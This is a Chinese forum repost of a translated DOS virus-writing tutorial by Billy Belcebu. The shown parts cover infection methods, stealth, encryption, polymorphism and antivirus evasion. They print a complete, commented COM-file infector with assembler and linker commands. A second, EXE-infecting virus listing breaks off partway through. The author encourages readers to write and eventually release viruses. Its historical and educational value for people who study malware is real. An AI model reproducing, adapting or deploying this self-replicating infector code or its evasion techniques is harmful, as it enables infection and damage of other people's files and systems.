转载一个病毒programguide,过后给大家写下感想,学8086时,写过com病毒


Billy Belceb病毒编写教程---DOS篇(基础理论)  
                                  翻译:onlyu[FCG][DFCG]              

【译者声明】 
       这是一篇关于病毒基础知识的教程,作者Billy Belceb,西班牙人,在16岁时写的
这篇教程,曾创建了病毒组织DDT,当时为著名病毒组织iKX(International Knowledge e
Xchange)的成员。大家都知道,DOS病毒早已成为过去,但这篇教程介绍的关于病毒的基础
知识、思想很重要,是学习Win32病毒和网络病毒的基础。翻译这篇教程的目的是想揭开病
毒的神秘面纱,从编写病毒的角度来学习病毒,希望对大家有用。由于原文为西班牙人写
的英文,译者也是第一次尝试翻译英文教程,有些术语翻译得不好,错误之处还请大家原
谅,大家也可对照原文学习。(原文在29A#3中)。下面为原文译文,祝你好运! 

【声明】 
 ~~~~~~ 
    作者对因对此文档使用不当而造成的任何损失概不负责。这篇教程的目的是教会人们
编写病毒和防护一些破坏力大的病毒的破坏。这篇教程仅作为教学目的。所以,如果有人
利用这篇文章编写了破坏力很大的病毒,我可不负责任。如果通过这篇文章你看到我鼓励
人们破坏数据的字眼,先去买副眼镜再说。 

【介绍】 
~~~~~~ 
    欢迎阅读Billy Belceb的病毒编写教程,来到病毒的世界。这篇文章献给我的导师zA
xOn,他真是我的良师啊,是他不厌其烦的解释当我请教他什么是ARJ,借给我TP5,把他的
全部所知教给了我,直到迈出了汇编的第一步。这篇文章还献给那些想摆脱蹩脚病毒编写
者称号,加入“出色者”行列的人。我还要提写了很多经典文章的Dark Angel(Phalcon/S
kism组织的成员),是他的许多教程带我入了门。当然了,还要献给Offspring,Marilyn M
anson,Blind Guardian,Stratovarius 和Metallica(我听说过另外一些组织,但是上面这
些是最出色的),还有他们的作品。希望你们喜欢这篇为初学者准备的教程,可能这也是我
的最后一篇DOS病毒教程了。 

说明:英语不是我的母语(西班牙语才是)[译者注:所以这篇西班牙式英语的病毒教程很难
翻译,不当之处还请原谅],所以原谅我的许多拼写错误,请告知我,我会修正的。 

----------跟我联系 
 ?E-mail        [email protected]                billy_belcebu@cryogen
.com 
 ?ICQ #           22290500 
个人主页                  http://members.xoom.com/billy_bel            http://
www.cryogen.com/billy_belcebu 
组织主页                  http://sourceofkaos.com/homes/ddt 
IRC [Billy_Bel]            Undernet #vir, Irc-Hispano #virus 
祝玩得快乐! 
Billy Belceb 


【病毒编写所需的软件】 
~~~~~~~~~~~~~~~~~~~~ 
    在你开始编写病毒之前,你需准备一些软件。我给大家推荐一些程序(如果你买不起它
们...下载吧! ) 
    Borland Turbo Assembler 3.1----编写dos病毒足够了 
    Borland Turbo Link 5.1 
    Borland Turbo Debug 3.1,AVPutils debugger,或者如果你愿意使用dos debug。 

    你最喜欢的文本编辑器(QuickEdit将会是一个不错的选择) 
    一些病毒源代码(一些老病毒如stoned,一些最新的病毒如Zhengxi,Oneself,Cabanas
,Esperanto...) 
    一些病毒相关的电子杂志(40hex,Insane Reality,Xine,29A...)     
    实用工具如内存抓取工具(memory dump),Norton Utilities    
    Ralf Brown 的中断列表 
    一些汇编教材(毫无疑问不可少了   ) 
    一些病毒查杀工具(为了看我们的病毒是否能被探索式发现) 
    毫无疑问,这篇教程  

  我希望没有忘记任何重要的东西。 

【一些重要的理论】 
~~~~~~~~~~~~~~~~ 
    一个病毒实际上是一个程序,这个程序通常是用汇编编写的(但也可用其他语言编写,
如PASCAL和C),它能把它自身复制到其它可执行程序或其它的如boot sector或者MBR。汇编
并不是人们所形容的“恶魔”,相信我 
    我希望你已经发现了,这里我还没有提及宏病毒:如果你想真正的学到东西,我想你
能做的最好的事情就是用汇编语言去写一些病毒。 
    一个病毒会把它本身附在宿主的尾部(80%的病毒是这样的),利用MS-DOS会优先执行.
com文件,而不是.exe文件这个特性(companion virus(伴随型病毒)),不增加原先文件的
大小(guest infectors和overwriting virus),EXE文件头病毒,中间文件感染病毒,安装
在启动记录里,在MBR里,甚至采用了压缩引擎...一个病毒甚至在感染完一个文件后能减
小原来文件的大小。 希望不久后一个病毒能象这样(超级病毒)让我们来看看第一种类型的
病毒的运行示意图 
                                      _______________  
    _________   _________         ___|         |     |<---| 
   |         | |         |       |   | JMP 病毒|     |    | 
   |   文件  |+|  病毒   |---------> |_________|     |    | 
   |_________| |_________|       |   |               |    |  
                                 |   |     文件      |    |     
                                 |   |               |    | 
                                 --->|---------------|    | 
                                     |               |    |  
                                     |               |    |  
                                     |     病毒      |    | 
                                     |               |    | 
                                     |_______________|____| 

     病毒通常会遵循如下相同步骤: 
    1. 定位要感染的文件(一直等待直到打开某些东西,或者搜索目录) 
    2. 检查某个文件是否已经被感染 
    3. 如果已感染,跳过 
    4. 保存文件日期/时间 
    5. 设置一个跳转跳到我们的代码保存前几个字节                               
   
    6. 添加病毒主体代码       
    7. 恢复文件日期/时间 

    正如你所看到的,非常简单,但是它们会使用不同的方法来实现这个,我会在以后解
释。 
    另一种类型的感染过程也能表示出来,但是它更慢,因为我们们要处理目标所有的代
码,把它存在一个临时空间里,写上我们的病毒代码,和目标的原先的代码。让我们看:
 
                                       _____________   
  __________     ___________          |             | 
 |          |   |           |         |             | 
 |   文件   | + |   病毒    |-------->|    病毒     |    
 |__________|   |___________|         |             |     
                                      |-------------|↓   
                                      |             |       
                                      |    文件     |      
                                      |             |    
                                      |_____________| 

     世界上最差的病毒是那种覆盖型的病毒。它们是如此的富有破坏性,而且感染也是很
容易被检测出来的,因为它们不能运行目标程序(由于感染方法的原因,它们不能运行目标
程序),它们只能运行病毒程序本身。让我们来看看一幅示意图: 
                                     ______________  
  ___________   ___________         |              |   
 |           | |           |        |    病毒      | 
 |   文件    |+|   病毒    |------->|              | 
 |___________| |___________|        |--------------|  
                                    |              | <---原先文件再也不会 
                                    |______________|     运行了  

     一个真正的好主意是文件中感染(mid-file infection),可能这是最好的感染方法了
:病毒更难去除、模拟了...它们通常的对目标程序在随机的偏移地址写上病毒代码,示意
图如下: 
                                  ________________     
                              ---|         |      |<---| 
                              |  |JMP 病毒 |      |    | 
 __________   __________      |  |_________|      |    | 
|          | |          |     |  |                |    | 
|   文件   |+|   病毒   |------->|   文件(I)      |    |  
|__________| |__________|     |  |________________|    | 
                              -->|                |    | 
                                 |     病毒       |    | 
                                 |________________|____| 
                                 |                | 
                                 |   文件(II)     | 
                                 |________________| 
                                 | 病毒覆盖保存   | 
                                 | 的数据         | 
                                 |________________|   
      
    当然啦,还有更多的感染方法,但是这是一篇为初学者而写的教程,所以...永远不要
忘记 

    一个病毒有一些不同的phase(阶段): 

    感染(INFECTION):一个病毒通常会出人意料地出现的,在一个文件中(通过磁盘,e-
mail...)或者启动扇区(boot sector)(磁盘...)。使用者在不知道的情况下执行病毒,那
就是病毒开始控制系统的时候了(取代了使用者)  

    "我拥有控制权"(I-HAVE-THE-CONTROL):这是病毒最有意思的阶段,使得使用者高高兴
兴地生活着,把程序借给他的/她的朋友,感染它们,和所有材料。那么这个病毒就会非常
快的感染越来越多的人了。[译者注:实际上这个阶段可概括为传播阶段,原文措辞很难理
解] 

    发作(PAYLOAD):在满足一定的条件后,病毒将会显示它的存在了。发作可能会是破坏
性的,也可能不会。以我个人的观点,蹩脚的病毒编写者才会编写破坏性的病毒,这些
卑鄙的人就喜欢从破坏别人的电脑中得到快感,好一点的发作是那些正宗的病毒,它们给
使用者带来了惊奇。当然了,也有从来不发作的病毒,这类病毒除了复制自己之外,什么
事也不干(Hi Patty Bitchman!)。 

    在这篇教程中,我将要讨论一些其它的话题诸如: 

    病毒自身的保护:我确实很喜欢这个话题。这个通常在防止那些饥渴的家伙调试/反汇
编我们的病毒。呵呵,一个优秀的病毒作者能反汇编他/她想要反汇编的任何病毒,Tcp/2
9A和Darkman/29A...就是榜样。 

    隐蔽:为了编写出出色的病毒,需要伪装的手段。有许多伪装的方法(FCB,Handles,SF
T,Disinfection-on-the-fly...),我将会介绍其中的一些方法。这样会使使用者产生一种
错觉,自己机器上没有任何病毒感染,使他的文件大小在感染前后完全一样,在打开这个
文件之前给它“消毒”(disinfecting)... 
    
    加密:这个方法在于加密病毒的主体,使得我们能作为版权的字符串不能被怀疑者识
别它实际上是一种老技术了,但是现在仍然被使用着(但是有一些改变,看下一点)。它使
用算术运算来完成加密(XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... ) 

    多态性:为了躲避AV(查杀毒软件)的一项技术,是加密的一种扩展。目的就是每次产
生不同的解密例程,使得对病毒无法扫描,或者使扫描字符串尽可能的短。 

    反-探索:探索式扫描器并不象某些人说的那么可信。我将表明探索并不象它们看起来
的那么安全。为了避免标志,解决的方式是一些花招(tricks)。 

    TUNNELING(地道?坑道?):这个是在获得“真正”的INT 21h中断向量时使用,绕过TSR
监视,和所有的拦路虎。 

    ANTI-TUNNELING(反-地道?):AV使用的避开tunneler的武器,成了TSR监视的一个敌人
了。它还在停止其它的病毒试图获得“我们的”INT 21h的时候非常酷 

    反-引诱(ANTI-BAIT):引诱这种手段是AV使用的在许多文件中进行多重感染,试图获得
我们病毒的扫描字符串(而且利用它,获得我们的变异引擎)...我们希望被这样吗?当然不
!我将会解释避免感染这种无关程序的使用得最多得方法。 

    优化(OPTIMIZATION):好的病毒总是使用最少的代码做最多的事情。在这一小节,你将
会看到怎样用最少的代码做最多的事情。 


待续................................. 
 
返回顶端      
 
 
onlyu
侠客



年龄:24 
十二宫图:
加入时间: 2003/11/20
文章: 23

Points: 30

 时间: 2004-2-10 周二, 下午6:27    标题: go on.....................   

------------------------------------------------------------------------------
--
 
【第一步 运行期病毒】(RUNTIME viruses) 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
    成功的感染有很多方法。现在我将介绍最古老的一个,运行期方法(也叫直接感染法)
。现在,没有人再来编写运行期病毒了,因为它们太慢了(sloooooooow,译者注:很形象)
,而且它们的存在会被一个中等感兴趣的用户发现。但是...不要怕!这种方法是特别简单
,但是圈内的所有人,都是以编写出运行期感染com文件病毒迈出他们的第一步的。这个方
法仅仅是你的病毒开发的第一次亲密接触。一个运行期病毒存在于一个程序中,使用通配
符("*.com","*.exe","*.*"...)来搜索文件,使用DOS-API(当然是INT 21h啦)函数Findfi
rst和Findnext(4Eh和4Fh)。它还进入其它的目录而不是实际所在的目录进行感染。通常这
种类型的病毒感染.com和.exe文件,但是也能感染.sys,.obj,.zip...但要解释清楚这个我
恐怕还需写一篇教程,而且...你还记得这是为初学者写的教程吗?  

%COM 文件感染% 
~~~~~~~~~~~~~~ 
    最早的病毒,正如你所能想象的是感染com文件的病毒。这是你必须搞懂的第一病毒,
而且这种病毒,或多或少,所用到的方法,在所有的病毒里都会用到(TSR等等): 

1.打开文件 
2.保存时间/日期/属性 
3.存储开始的(通常 3)字节 
4.计算新的跳转(jump) 
5.添上这个跳转 
6.添加病毒主体 
7.恢复时间/日期/属性 
8.关闭文件 

    你必须记住的是一个COM文件的物理代码和内存中一样(COM=Copy Of Memory)。DOS会
把所有的可用内存分配给COM文件。让我们看看一个装载到内存中的COM程序: 

 _______________________________  
|                               |<--------CS=0000h  
|  Program Segment Prefix(PSP)  |     |---DS=0000h 
|      100h bytes(256d)         |     |---ES=0000h 
|_______________________________|     |---SS=0000h 
|                               |<--------CS:IP=0100h 
|        程序代码和数据          |  
|                               | 
|                               | 
|                               |       
|                               |     |---CS=FFFFh (*)堆栈向后增长,自底向顶 

|                               |     |---DS=FFFFh 
|             堆栈              |     |---ES=FFFFh 
|_______________________________|<--------SS:SP=FFFFh   

    一个COM文件只能有一段(FFFFh bytes)大小减去100h bytes的大小被PSP使用(FFFFh-
100h=FEFFh)。但是有一个问题。我们必须节省更多的空间给堆栈的增长所需(每次我们会
使用PUSH而忘记了POP,堆栈增长了,而如果它增长了太多的话,将会搞崩溃我们的程序)。
我将至少留100h bytes给堆栈。OK?  
    这很容易理解...而且它是逻辑上的!!!  
    说到逻辑上的东西...我想现在是练习感染COM文件的好时候了。它是一个蹩脚的病毒
。蹩脚?仅仅?比这更甚:最蹩脚的! 但是这是一个初学者教程,所以我必须写它!虽然
它使我很恼火!恩,我就不浪费脑力来编写那样的东西了,虽然我只要花5分钟时间就可以
写一个(花时间?浪费时间!) 

;-----从这里开始剪切----------------------------------------------------- 
;一个非常蹩脚的病毒。不要编译。不要发布。 
;如果你还复制这个...你就会很蹩脚了! 
;但是我希望这个能帮助你走好第一步成为一个出色的病毒编写者      
;然后你会给我问候  
;我讨厌编写我自己的运行期病毒(5分钟可以写一个很差的,请相信我,非常烦人,而 

;且浪费时间)所以我使用了Dark Angel的代码 
;对不起,我是一个很懒的人  
;汇编用:TASM /m3 lame.asm 
;连接用:TLINK /t lame.obj 
;Virus generated by G?0.70 (看,我没有去掉签名。它不是我写的!你能做的最蹩 
;脚的事情就是把签名去掉。不要忘记吆! ) 
;作者:Dark Angel 属于Phalcon/Skism 
;文件:LAME.ASM 

  .model  tiny 
  .code 

  org  0100h 

carrier: 
  db  0E9h,0,0    ; jmp start 

start: 
  mov  bp, sp      ; Antidebugging get ?offset! 
  int  0003h      ; Int for breakpoints 
next: 
  mov  bp, ss:[bp-6] 
  sub  bp, offset next 
;---------------------------------------------------------------------- 
;  解释: 
;  让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所 
;  以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋 
;  文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏 
;  移(这里是BP) 
;---------------------------------------------------------------------- 

  mov  dl, 0000h    ; Default drive 
  mov  ah, 0047h    ; Get directory 
  lea  si, [bp+offset origdir+1] 
  int  0021h 

  lea  dx, [bp+offset newDTA] 
  mov  ah, 001Ah    ; Set DTA 
  int  0021h 

;---------------------------------------------------------------------- 
;  解释: 
;  上面一段把当前目录保存在一个变量里面。 
;  你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA(Disk Transfer  
;  Address)在仍然属于命令行的PSP(Program Segment Prefix)的80h byte处。 
;  你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢? 
;  那就是我们保存DTA的原因(除了我们自己使用之外,毫无疑问了) 
;---------------------------------------------------------------------- 

restore_COM: 
  mov  di, 0100h 
  push  di 
  lea  si, [bp+offset old3] 
  movsb        ; Move first byte 
  movsw        ; Move next two 

  mov  byte ptr [bp+numinfect], 0000h 

;------------------------------------------------------------------------- 
;  解释: 
;  上面一段是恢复被感染COM文件的前三个bytes,在offset 100h 处还把这个 
;  offset保存在DI里面以备后用。最后一行是把真正感染的个数初始化为0 
;  (计数器) 
;------------------------------------------------------------------------- 

traverse_loop: 
  lea  dx, [bp+offset COMmask] 
  call  infect 
  cmp  [bp+numinfect], 0003h 
  jae  exit_traverse    ; exit if enough infected 

  mov  ah, 003Bh    ; CHDIR 
  lea  dx, [bp+offset dot_dot] ; go to previous dir 
  int  0021h 
  jnc  traverse_loop    ; loop if no error 

exit_traverse: 

  lea  si, [bp+offset origdir] 
  mov  byte ptr [si], '/' 
  mov  ah, 003Bh    ; restore directory 
  xchg  dx, si 
  int  0021h 

;------------------------------------------------------------------------- 
;  解释: 
;  这里我们所做的就是感染当前目录下的所有文件,做完这个后,来到..目录下, 
;  即当前目录的上一级目录。 
;  当没有更多的目录后,我们就来到我们最先所处的目录。 
;------------------------------------------------------------------------- 

  mov  dx, 0080h    ; in the PSP 
  mov  ah, 001Ah    ; restore DTA to default 
  int  0021h 

return: 
  ret 

;-------------------------------------------------------------------------- 

;   解释: 
;   这一段恢复DTA为原先的地址,在Program Segment Prefix(PSP)的offset 80h 处 
;   然后返回到原先的offset 100h,为了正常地执行这个文件。 
;   (记住我们当di=100h时,执行了push di操作。 
;-------------------------------------------------------------------------- 


old3    db  0cdh,20h,0 

infect: 
  mov  ah, 004Eh    ; find first 
  mov  cx, 0007h    ; all files 
findfirstnext: 
  int  0021h 
  jc  return 

;-------------------------------------------------------------------------- 

;   解释: 
;   在这段代码中,我们所做的是在当前目录下面寻找和保存在DX里的通配符(在这 
;   个例子里"*.COM"),可以为任意类型的文件。 
;   Old3 是处理被感染了的COM文件的前3字节。 
;   如果没有符合的文件,一个进位标志将会返回,然后跳转到把控制权交 
;   给主程序的处理程序。如果我们发现至少有一个可以感染,就跳转到接下来的 
;   代码,处理完了后,再寻找其它文件。  
;-------------------------------------------------------------------------- 


  cmp  word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM 
  mov  ah, 004Fh    ; Set up find next 
  jz  findfirstnext    ; Exit if so 

;-------------------------------------------------------------------------- 

;  解释: 
;  这一段处理不要感染command.com这个文件,检查文件在某个位置name+5(DTA+35) 
;  有字符 DN (不是ND,是因为这两个是倒着存储的!) 
;-------------------------------------------------------------------------- 


  lea  dx, [bp+newDTA+30] 
  mov  ax, 4300h 
  int  0021h 
  jc  return 
  push  cx 
  push  dx 

  mov  ax, 4301h    ; clear file attributes 
  push  ax      ; save for later use 
  xor  cx, cx 
  int  0021h 

;-------------------------------------------------------------------------- 

;  解释: 
;  上面一段第一部分有两个功能:为将来恢复文件的属性而保存文件的属性, 
;  检查文件是否存在或者是否有问题。 
;  第二部分在堆栈中保存4301h(写属性的函数)和清除文件讨厌的属性如只读 
;  属性  
;-------------------------------------------------------------------------- 


  lea  dx, [bp+newDTA+30] 
  mov  ax, 3D02h    ; Open R/O 
  int  0021h 
  xchg  ax, bx      ; Handle in BX 

  mov  ax, 5700h    ; get file time/date 
  int  0021h 
  push  cx 
  push  dx 

;-------------------------------------------------------------------------- 

;  解释:  
;  第一部分以读/写模式打开文件,并把文件句柄放在BX中,放这里将会更有用。 
;  指令的第二部分获得文件的日期和时间然后保存在堆栈中。 
;-------------------------------------------------------------------------- 


  mov  ah, 003Fh 
  mov  cx, 001Ah 
  lea  dx, [bp+offset readbuffer] 
  int  0021h 

  xor  cx, cx 
  xor  dx, dx 
  mov  ax, 4202h 
  int  0021h 

;-------------------------------------------------------------------------- 

;  解释: 
;  第一部分读取1Ah 字节(26) 到读缓冲区中,为后来做准备。 
;  第二部分把文件指针指向文件尾,有两个原因:1.把文件大小放到AX中 
;  2.我们将在文件尾添上病毒。  
;-------------------------------------------------------------------------- 


  cmp  word ptr [bp+offset readbuffer], "ZM" 
  jz  jmp_close 

  mov  cx, word ptr [bp+offset readbuffer+1] ; jmp location 
  add  cx, heap-start+3  ; convert to filesize 
  cmp  ax, cx      ; equal if already infected 
  jl  skipp 
jmp_close: 
  jmp  close 

;-------------------------------------------------------------------------- 

;  解释: 
;  第一部分比较打开的COM文件的前两个字节,为了分辨清楚这个文件是否是一个 
;  错误命名的EXE文件(记住字符串必须是倒序)。 
;  第二部分检查以前的感染,比较  病毒大小+目标文件(被感染前)大小是否和 
;  目标文件的实际大小是否相等。 
;-------------------------------------------------------------------------- 


skipp: 

  cmp  ax, 65535-(endheap-start) ; check if too large 
  ja  jmp_close    ; Exit if so 

  lea  di, [bp+offset old3] 
  lea  si, [bp+offset readbuffer] 
  movsb 
  movsw 

;-------------------------------------------------------------------------- 

;  解释: 
;  上面指令的第一部分检查COM文件的大小,看看我们能否感染它(COM文件大小+病毒 

;  大小不能>0FFFFh(65535)),如果大于了,PSP 和堆栈会"撑爆"文件。 
;  第二部分把old3的值(3 字节) 赋到读缓冲区中。 
;-------------------------------------------------------------------------- 


  sub  ax, 0003h    ; Virus_size-3 ( jump size ) 
  mov  word ptr [bp+offset readbuffer+1], ax 
  mov  dl, 00E9h    ; Opcode of jmp 
  mov  byte ptr [bp+offset readbuffer], dl 

  lea  dx, [bp+offset start]  ; The beginning of what append 
  mov  cx, heap-start    ; Size to append 
  mov  ah, 0040h    ; concatenate virus 
  int  0021h 

;-------------------------------------------------------------------------- 

;  解释: 
;  第一部分计算跳转到病毒的代码并把结果保存在一个变量中。 
;  第二部分把病毒附到目标文件后面 
;-------------------------------------------------------------------------- 


  mov  ax, 4200h 
  xor  dx, dx 
  xor  cx, cx 
  int  0021h 


  mov  cx, 0003h 
  lea  dx, [bp+offset readbuffer] 
  mov  ah, 0040h 
  int  0021h 

  inc  [bp+numinfect] 

;-------------------------------------------------------------------------- 

;  解释: 
;  第一部分把文件指针指向文件开头,第二部分写跳转到病毒的代码。 
;  第三部分使变量增加以 记住已经成功感染的次数。 
;-------------------------------------------------------------------------- 


close: 
  mov  ax, 5701h    ; restore file time/date 
  pop  dx 
  pop  cx 
  int  0021h 

  mov  ah, 003Eh 
  int  0021h 

  pop  ax      ; restore file attributes 
  pop  dx      ; get filename and 
  pop  cx      ; attributes from stack 
  int  0021h 

  mov  ah, 004Fh    ; find next 
  jmp  findfirstnext 
;-------------------------------------------------------------------------- 

;  解释:  
;  上面指令的第一部分恢复存储在DTA里面的文件的时间和日期。 
;  第二部分关闭文件而第三部分被感染文件原先的属性。 
;  最后一部分赋AX以调用DOS的FindNext函数,并寻找更多的文件来感染。 
;-------------------------------------------------------------------------- 



signature  db  "[PS/G齗",0     ; Phalcon/Skism G?( old!! ) 
COMmask   db  "*.COM",0       ; Must be ASCIIZ ( Ascii string,0 ) 
dot_dot   db  "..",0          ; Directory to change 

heap:          ; this data goes in heap 
newDTA    db  43 dup (?)  ; DTA size, 2Bh 
origdir   db  65 dup (?)  ; Where to store old directory 
numinfect  db  ?    ; Handles the number of infections 
readbuffer  db  1ah dup (?)  ; Buffer 
endheap: 
end  carrier 
;-----到这儿为此剪切------------------------------------------------------ 

     正如你所看到的,它使如此的简单,而且代码被详细地注释了。如果你还不懂,不用
往下看了,继续看COM文件地感染!!!但是...一个病毒要是仅仅感染COM文件...而且运行期
病毒可能在6、7年前很酷,但如今它太差劲了!在传播一个运行期病毒之前,我建议你还
是再等一段时间吧。几个月时间足够使你学好汇编语言了,而你如果多花一些时间提高你
的技能,那么,再过几个月,你将会编写出有着很强隐蔽能力和巧妙花招的病毒来。 
    在讨厌的Win95中有大量的COM文件,有意思吧?到目前为止它们经常被使用,但还有
个问题。如果我们这么简单的感染它们,它们会造成死机的解决的方法是保存文件的最后
七个字节,在最后两个字节添上病毒的大小。 
    最后指出,对于其他病毒编写者对你的初学所编写出来的病毒表现出的不屑一顾请不
要在意。有时候这些人(仅仅是少部分人,通常圈内的大部分人很热心的)忘记了他们起步
时其实和你差不多,要相信自己。 
    不谈那些连自己的根都忘记了的人了,接下来谈谈EXE文件的感染 。 

%EXE 文件的感染% 
~~~~~~~~~~~~~~~~ 
    首先你必须知道的是,感染EXE文件是和感染COM文件不同的(我猜聪明的你一定早就知
道这个了),EXE文件可能更大了,而且它们有一个文件头HEADER(我想感染EXE文件最重要的
就是掌握这个文件头),这个文件头包含了我们感染时的重要数据如CS:IP(存储的时候是倒
着的IP:CS),SS:SP(没有倒着存!!!),段中的文件大小和所有其它重要的东西。下面给出
EXE文件头结构: 

 _______________________________________ 
|      EXE file mark(ZM or MZ)          |<----+0000h 
|_______________________________________|           Size:1 WORD 
|     Bytes in last page of image*      |<----+0002h 
|_______________________________________|           Size:1 WORD 
|           Number of pages*            |<----+0004h 
|_______________________________________|           Size:1 WORD 
|      Number of relocation items       |<----+0006h 
|_______________________________________|           Size:1 WORD 
|   Size of the header in paragraphs    |<----+0008h  
|_______________________________________|           Size:1 WORD  
|         MinAlloc in paragraphs        |<----+000Ah 
|_______________________________________|           Size:1 WORD 
|         MaxAlloc in paragraphs        |<----+000Ch   
|_______________________________________|           Size:1 WORD  
|              Initial SS*              |<----+000Eh      
|_______________________________________|           Size:1 WORD 
|              Initial SP*              |<----+0010h 
|_______________________________________|           Size:1 WORD 
|          Negative checksum            |<----+0012h 
|_______________________________________|           Size:1 WORD 
|             Initial IP*               |<----+0014h  
|_______________________________________|           Size:1 WORD 
|             Initial CS*               |<----+0016h 
|_______________________________________|           Size:1 WORD 
|            Reloacations               |<----+0018h 
|_______________________________________|           Size:1 WORD 
|              Overlays                 |<----+001Ah 
|_______________________________________|           Size:1 WORD 
|          Reserved/Not used            |<----+001Ch 
|_______________________________________|           Size:1 DWORD? 
                                          总长度:变量! 
             标志了(*)的表示病毒感染时将会被修改。 

    EXE文件可以有不止一个段(segment)(一个为代码段,一个为数据段,其它为堆栈段-
>按照CS,DS,SS的顺序) 
    EXE文件头是由连接器产生的,使用者是不会改变它的。当DOS把EXE文件装如内存,它
看起来如下: 

 _______________________________ 
|  Program Segment Prefix(PSP)  |<-------ES=0000h 
|     100h bytes(256d)          |    |---DS=0000h 
|_______________________________| 
|   Program Code Segment(CS)    |<-------CS:IP(由文件头指向) 
|_______________________________| 
|   Program Data Segment(DS)    | 
|_______________________________| 
|   Program Stack Segment(SS)   |<-------SS=0000h 
|_______________________________|<-------SS:SP(由文件头指向) 

    正如你所看到的,EXE文件没有COM文件所存在的问题。为了满足堆栈需要(PUSH和POP
),我们拥有整个段(segment)!它仍然向后增长(自底向顶)。 
    让我们看看你编写感染EXE文件的病毒所需遵循的算法(一步接一步): 

   1.以只读方式打开文件(哇!天才!) 
   2.读取前1A字节(26d)数据 
   3.把它们保存到一个变量中 
   4.关闭文件 
   5.检查作为标志的第一个字(MZ,ZM) 
   6.如果相等,继续,如果不相等,转向16 
   7.检查以前是否已被感染 
   8.如果没有被感染,继续,如果已被感染转向17 
   9.保存CS:IP(反过来->IP:CS)为将来恢复EXE文件用 
  10.同样的目的,保存SS:SP(就按这个顺序) 
  11.计算新的CS:IP和SS:SP 
  12.修改最后一页的字节和页数 
  13.重新打开(但是以read/write模式打开) 
  14.写文件头 
  15.使文件指针指向文件尾 
  16.添加病毒主体 
  17.关闭文件 

    毫无疑问,你该按照上面说的那么做,如以读/写模式打开文件只有一次。一定要注意
被感染文件的SP。 
    我不想再介绍更多的理论来烦你了,请记住这一点,学习编写病毒的最好的方法是多
看其它病毒的源代码。而且看我已经为你加了注解的病毒源代码将会更好 

;-----------从这里开始剪切----------------------------------------------------
 
;  到了更有趣的章节,我将把我自己编写的病毒的源代码作为例子。 
;  那时候,看了这些代码,你就会感到很差了  

;  汇编:TASM /m3 lame.asm 
;  联接:  TLINK /t lame.obj 

;  Virus generated by G 0.70 
;  作者:Dark Angel 属于 Phalcon/Skism 

id    =  '' 

  .model  tiny 
  .code 
  org  0100h 

start: 
  call  next 
next: 
  pop  bp 
  sub  bp, offset next 
;--------------------------------------------------------------------------- 

;  解释: 
;    这是最普遍的寻找偏移地址(delta offset)的方法了(如果你还不知道什么是 
;     delta offset 的话,杀了你自己算了) 
;--------------------------------------------------------------------------- 


  push  ds 
  push  es 
  push  cs 
  pop  es      ; CS = ES 
  push  cs 
  pop  ds      ; CS = ES = DS 

;--------------------------------------------------------------------------- 

;  解释: 
;  这次的目标不是一个COM文件了!请记住这一点!EXE文件更强大了(比较 
;    难一点感染了)。当我们执行一个EXE文件,每一段指向一个不同的段,所以 
;    我们需要调整它们。记住我们不能添加诸如"mov es,ds"的代码,所以,需要 
;    小小的花招来做这个。使用堆栈 
;--------------------------------------------------------------------------- 


  mov  ah, 001Ah    ; Set DTA 
  lea  dx, [bp+offset newDTA] 
  int  0021h 

  mov  ah, 0047h    ; Get directory 
  lea  si, [bp+offset origdir+1] 
  cwd        ; Default drive 
  int  0021h 

;--------------------------------------------------------------------------- 

;  解释: 
;     你还记得我们的老朋友吗,DTA?我希望你的回答是yes,如果是not,重新读整篇 

;    教程,上帝会原谅你的! 
;    第二个例程也是一段经典的程序,你已经看过了。 
;--------------------------------------------------------------------------- 


  lea  di, [bp+offset origCSIP2] 
  lea  si, [bp+offset origCSIP] 
  movsw 
  movsw 
  movsw 
  movsw 

  mov  byte ptr [bp+numinfect], 0000h 

;--------------------------------------------------------------------------- 

;  解释: 
;  嗨!有新东东啦!第一段的功能是为了将来恢复目标EXE文件。我希望你知道 
;  MOVSW这条指令...不知道?Grrr...我解释给你听吧,但是其它的疑问.... 
;    买一本汇编教材!!!MOVSW 从DS:SI移一个字到ES:DI(MOVSB做同样的事但是 
;    移一个字节)。我们这么做是因为我们有两个双字。我们还可以使用如: 
;    MOV CX,4 和 REP MOVSW,或者在386+里,两个MOVSD。 
;--------------------------------------------------------------------------- 


traverse_loop: 
  lea  dx, [bp+offset EXEmask] 
  call  infect 
  cmp  [bp+numinfect], 0003h 
  jae  exit_traverse    ; exit if enough infected 

  mov  ah, 003Bh    ; CHDIR 
  lea  dx, [bp+offset dot_dot] ; go to previous dir 
  int  0021h 
  jnc  traverse_loop    ; loop if no error 

;--------------------------------------------------------------------------- 

;  解释: 
;  解释以前已经解释过的例程是件痛苦的事... 
;--------------------------------------------------------------------------- 


exit_traverse: 

  lea  si, [bp+offset origdir] 
  mov  byte ptr [si], '/' 
  mov  ah, 003Bh    ; restore directory 
  xchg  dx, si 
  int  0021h 

  pop  es      ; ES = DS 
  pop  ds 

  mov  dx, 0080h    ; in the PSP 
  mov  ah, 001Ah    ; restore DTA to default 
  int  0021h 

;--------------------------------------------------------------------------- 

;  解释: 
;  已经在感染COM文件时介绍过了。 
;--------------------------------------------------------------------------- 


restore_EXE: 
  mov  ax, ds 
  add  ax, 0010h 
  add  cs:[bp+word ptr origCSIP2+2], ax 
  add  ax, cs:[bp+word ptr origSPSS2] 
  cli 
  mov  ss, ax 
  mov  sp, cs:[bp+word ptr origSPSS2+2] 
  sti 
  db  00EAh        ; jmp far opcode 
origCSIP2  dd  ? 
origSPSS2  dd  ? 
origCSIP  dd  0fff00000h 
origSPSS  dd  ? 

return: 
  ret 

;--------------------------------------------------------------------------- 

;  解释: 
;  这里是恢复目标EXE文件。看看这些指令...我们的目的是恢复被感染EXE文件 
;    的原先CS:IP和SS:SP的值。注意在堆栈操作之前,我们必须释放中断。 
;    然后,我们跳转到原先的EXE代码,如果没有什么意外的话,将会按我们 
;    预料的发展了  
;--------------------------------------------------------------------------- 


infect: 
  mov  cx, 0007h    ; all files 
  mov  ah, 004Eh    ; find first 
findfirstnext: 
  int  0021h 
  jc  return 
